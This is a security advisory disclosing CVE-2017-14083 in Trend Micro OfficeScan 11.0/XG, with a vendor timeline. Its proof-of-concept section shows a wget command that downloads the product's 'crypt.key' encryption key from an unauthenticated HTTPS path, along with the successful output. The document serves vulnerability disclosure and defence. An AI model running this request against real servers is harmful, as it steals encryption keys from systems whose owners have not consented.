TrendMicro OfficeScan 11.0 / XG (12.0) Encryption Key Disclosure

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14083-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-ENCRYPTION-KEY-DISCLOSURE.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
==================  
www.trendmicro.com  
  
  
  
Product:  
========  
OfficeScan   
v11.0 and XG (12.0)*  
  
  
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.  
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that  
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the  
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.  
  
  
  
Vulnerability Type:  
===================  
Unauthorized Encryption Key Disclosure  
  
  
  
CVE Reference:  
==============  
CVE-2017-14083  
  
  
  
Security Issue:  
================  
Remote unauthenticated attackers who can reach the TrendMicro OfficeScan XG application which usually runs on port 4343 can download  
the OfficeScan XG encryption "crypt.key" file. This crypt.key is used for the OfficeScan XG encryption process.  
  
  
References:  
===========  
https://success.trendmicro.com/solution/1118372  
  
  
e.g.  
  
In "config.php"   
  
/* *********************************************************  
* Encryption module configurations  
*/  
$wfconf_wfcrypt_keyfile = dirname(__FILE__) . "/../repository/inc/class/common/crypt/crypt.key"; <============= HERE   
$wfconf_wfcrypt_algorithm = MCRYPT_RIJNDAEL_256; // MCRYPT_3DES MCRYPT_BLOWFISH MCRYPT_CAST_256 MCRYPT_DES ...  
/* *********************************************************  
* Framework configurations  
*/  
  
  
  
Exploit/POC:  
=============  
  
[root@localhost /]# wget --no-check-certificate https://VICTIM-IP:4343/officescan/console/html/widget/repository/inc/class/common/crypt/crypt.key  
--14:59:52-- https://VICTIM-IP:4343/officescan/console/html/widget/repository/inc/class/common/crypt/crypt.key  
Connecting to VICTIM-IP:4343... connected.  
WARNING: cannot verify VICTIM-IP's certificate, issued by `/CN=VICTIM-IP':  
Self-signed certificate encountered.  
HTTP request sent, awaiting response... 200 OK  
Length: 32 [application/octet-stream]  
Saving to: `crypt.key'  
  
100%[==================================================================================================>] 32 --.-K/s in 0s   
  
14:59:52 (15.3 MB/s) - `crypt.key' saved [32/32]  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=================================  
Vendor Notification: May 31, 2017  
Vendor: "hotfix in progress". June 23, 2017  
Vendor releases fixes / advisory : September 27, 2017  
September 28, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`